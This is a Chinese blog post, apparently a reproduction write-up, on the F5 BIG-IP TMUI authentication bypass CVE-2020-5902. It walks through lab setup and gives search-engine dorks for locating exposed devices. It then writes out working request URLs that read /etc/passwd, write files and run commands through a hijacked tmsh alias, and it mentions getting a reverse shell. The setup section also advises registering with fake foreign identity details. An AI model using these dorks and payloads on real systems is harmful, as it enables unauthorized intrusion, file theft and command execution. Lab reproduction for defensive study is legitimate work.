漏洞出现好一段时间了,实际上很早就复现完成了,只是一直忘记发出来,大佬略过....,附漏洞环境,后台留言:F5 漏洞环境
一、环境搭建:
1、获取密钥:
①先到这个网址去注册,信息可以网上找外国人信息生成的网址去弄:
https://login.f5.com/resource/registerEmail.jsp
②然后在这申请一个密钥
https://www.f5.com.cn/trials/big-ip-virtual-edition
然后密钥会发到你的邮箱,注意留意一下邮件信息
2、环境配置:
导入下载好的ova文件,开启虚拟机:
使用:root / default登陆,然后会提示改密码,成功登陆如下:
输入:config,进行配置:
选择IPv4:
回车即可
然后访问https://your-ip,即可访问到f5页面
3、激活环境
首先在命令行重置admin用户的密码,然后利用admin用户登陆后台:
点击Activate
密钥发到邮箱会有三条,选择第一条:
填入密钥:
复制文本,并点击连接:
然后会打开一个激活的网页,将文本复制进去,点击Next:
接受协议,点击Next:
然后将这里的文本复制:
粘贴到第二个框,点击Next:
Network处点击,然后点击Finished:
激活成功:
二、漏洞描述:
F5 BIG-IP的TMUI组件(流量管理用户界面)存在认证绕过漏洞,该漏洞在于Tomcat解析的URL与request.getPathInfo()存在差异,导致可绕过权限验证,未授权访问TMUI模块所有功能,进而可以读取/写入任意文件,命令执行等。
影响范围:
BIG-IP 15.x: 15.1.0/15.0.0
BIG-IP 14.x: 14.1.0 ~ 14.1.2
BIG-IP 13.x: 13.1.0 ~ 13.1.3
BIG-IP 12.x: 12.1.0 ~ 12.1.5
BIG-IP 11.x: 11.6.1 ~ 11.6.5
搜索关键词:
shodan:
http.favicon.hash:-335242539
http.title:”BIG-IP®- Redirect”
fofa:
title=”BIG-IP®- Redirect”
tmui
censys:
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5
443.https.get.title:”BIG-IP®- Redirect”
google:
inurl:”tmui/login.jsp”
intitle:”BIG-IP” inurl:”tmu
三、漏洞复现:
1、任意文件读取:
https://your-ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
成功读取:
2、文件写入:
https://your-ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/success&content=CVE-2020-5902
成功写入:
3、命令执行(分为四步):
①劫持list命令
https://your-ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
②写入执行的命令进文件中
https://your-ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id
③执行命令
https://your-ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd
④还原list命令
https://your-ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
四、漏洞EXP
网上已经有大佬公开过利用脚本了(github上搜一下就有),这里我用的是自己写的,就不放出来了,相信看过本菜鸡之前写过的exp源码的师傅们,也很容易就写出这个exp,自己动手丰衣足食haha...
1、漏洞检测:
2、文件读取:
3、命令执行:
经过测试,反弹shell的话要进行url编码才能成功(因为有些特殊字符),如下图
我这里是对bash一句话反弹payload进行了url编码后再执行
结果是可以成功收到反弹shell的:
各位师傅可以加好友一起学习交流交个朋友,如果之前分享的exp失效了,也可以加我好友py一下:qq:1254311935
备注:公众号+师傅们的id吧
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论